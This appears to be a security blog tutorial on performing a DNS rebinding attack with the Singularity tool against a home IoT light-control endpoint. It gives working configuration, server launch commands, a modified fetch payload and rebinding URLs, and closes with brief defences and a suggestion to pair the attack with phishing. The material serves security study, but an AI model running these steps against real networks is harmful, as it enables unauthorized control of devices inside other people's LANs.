DNS Rebinding with Singularity [Usage Example]


DNS Rebinding with Singularity [Usage Example]

Introduction

If nothing else, Singularity is a great tool for anyone who wishes to grasp on the world of DNS Rebinding. Here we’ll go through a quick practicle example on how you can use it, a very short and staightforward DNS Rebind attack (ideal conditions). If you need additional info, check posts related to installation process and DNS rebinding:

DNS Rebinding with Singularity: Let there (NOT) be a light

Instead of just fetching the localhost main page, we’re going to “hit” some home user’s light control. We’re familiar with his network architecture and we know his IoT Home Control server IP Address. He has naively set a simple php page, “only” accessible from computers in his LAN. It simply uses GET request to manage the light(s) in the house. To turn on :

http://192.168.1.100/light.php?p=on
[{"success":{"/lights/2/state/on":true}}]

or off :

http://192.168.1.100/light.php?p=off
[{"success":{"/lights/2/state/on":false}}]
Singularity DNS Rebinding Attack example

Nameserver Configuration

We need to have a target domain under your control (singularity-rebind.tk in this example) including DNS control for that domain (in domain provider DNS management specify your nameserver).

DNS propagation might take some time. Please revisit DNS Rebinding – Behind The Enemy Lines for general insights and possible problems (DNS caching info).

To speed things up, in this example we’re going to “adjust” victim’s DNS manually. We’re going to use attackers nameserver (/etc/resolv.conf): 192.85.21.74. We can also use chrome://net-internals/#dns to speed the process further by using “Clear host cache”.

Singularity Adjustments

In this example we’re going to use payload-simple-fetch-get.html to quickly make/adjust our own payload-light-attack.html with one minor difference, instead of fetching the main page fetch('/') we want to aim fetch('/light.php?p=on'). We’re also going to add light.php to singularity html folder to avoid 404 errors:

 "<!--thisismytesttoken--><!doctype html><title>Custom page  A custom page</title>, remote alternative/replacement for victim's target page" 

Before we continue, we’ll adjust manager-config.json (you can use to add your payload to the attackPayloads list):

$ nano html/manager-config.json
"attackHostDomain": "singularity-rebind.tk",
"attackHostIPAddress": "192.95.21.74",
"targetHostIPAddress": "192.168.1.x",
"dummyPort": 4000,
"interval": 5,

"attackPayloads": [{
    {
        "name": "payload-light-attack.html",
        "ports": []
    }
...

Make sure you don’t have anything running on port 53 (like systemd.resolved service).

Singularity Manager

To start manager, run:

./singularity-server --HTTPServerPort 80 --ResponseIPAddr 192.95.21.74 --ResponseReboundIPAddr 192.168.1.100

Parameters:

  • HTTPServerPort: Manager port
  • ResponseIPAddr: Attacker host IP address
  • ResponseReboundIPAddr: Victim’s local address we’re targeting
  • responseReboundIPAddrtimeOut: Delay in seconds for which we will keep responding with Rebound IP Address after the last query. After dealy we will respond with ResponseReboundIPAddr.

The previous command is going to start HTTP (manager) and DNS servers. Now, when we jump to our singularity-rebind.tk/manager.html we’ll see that the manager is up with all of the previous adjustments we made, ready to be started:

DNS Rebinding with Singularity: Manager

On “Start Attack” manager by default starts fetching “attackFrame” from the url (in this case):

 s-<ATTACK_HOST-<TARGET_HOST>-<random_number>--e.singularity-rebind.tk

based on the hosturl/processing template defined in manager.js and attack payload:

let hosturl = "http://s-%1-%2-%3-%4-e.%5:%6/%7";
...
function reloadAttackFrameOne() {
document.getElementById("attackframeone").src = hosturl
.replace("%1", document.getElementById("attackhostipaddress").value)
.replace("%2", document.getElementById("targethostipaddress").value)
.replace("%3", Math.floor(Math.random() * Math.floor(Number.MAX_SAFE_INTEGER)))
.replace("%4", "")
.replace("%5", document.getElementById("attackhostdomain").value)
.replace("%6", document.getElementById("targetport").value)
.replace("%7", document.getElementById("payloads").value) +
"?rnd=" + Math.random();
}

DNS Rebinding Process

We’re interested in /light.php so inside “payload-light-attack.html” we’ve set fetch (‘/light.php?p=off‘). The line that will trigger API call on victim’s Home Control server. Singularity manager will start fetching that line in specified interval (Toggle advanced options):

http://s-192.95.21.74-192.168.1.100-3631244103655809--e.singularity-rebind.tk/light.php?p=off

By looking at the chrome://net-internals/#dns, we can see that the domain still has “server” IP Address.

DNS Rebinding with Singularity: Server IP Address

After a while or by clearing chrome host cache, browser will again ask DNS server to resolve
s-192.95.21.74-192.168.1.100-3631244103655809--e. singularity-rebind.tk. So, with DNS expiration, browser will again ask OS to resolve that domain and OS will ask attacker’s DNS (placed in purpose as main OS nameserver) or in this case Singularity DNS running there. On the first request, singularity provided the “right” IP, but with sequential ones it will provide local IP Address of the target.

DNS Rebinding with Singularity: DNS Expiration

With this new IP in place, request that was called in specified intervals (
http://s-192.95.21.74-192.168.1.100-3631244103655809--e.singularity-rebind.tk/light.php?p=off ) will now call LAN server instead of real singularity-rebind.tk. To simplify it even more, we’ll replace domain names with IP addresses. Initialy, page (singularity manager) was calling this URL:

http://192.95.21.74/light.php?p=off

but when browser cached expired, from the perspective of the victim and with new IP, page (singularity manager) is now calling:

http://192.168.1.100/light.php?p=off

How do we detect when that interval attackerFrame function loads the right page (the target)? That’s why we have “Index token”. If index token is present on the page, default/server page is loaded, if it’s not, target was loaded. In this case, the light.php page we have on our server contains “<!--thisismytesttoken-->“, targeted API does not.

With browser cache updated and token in place, attack was successfully executed. The Home Control API responded with:

Attack Successful: singularity-rebind.tk Server response: 
[{"success":{"/lights/2/state/on":false}}]
DNS Rebinding Manager

[DEMO]

Conclusion

People frequently neglect this technique due to its unreliability, but as we mentioned, it might come in handy. To prevent these types of attacks you could try and validate “Host” HTTP Headers, extend DNS caching, enable Chrome internal DNS or prevent 127.0.0.1 or 192.168.x.x resolving.

Singularity is a good tool, maybe a bit confusing, but nonetheless usefull. If nothing else, it demonstrates the dangers and vulnerabilities you might not have been aware of. Add phishing to the mix, and you’ll get a great cocktail. Singularity has enough options and example payloads for anyone to play with. I’ll leave them to you.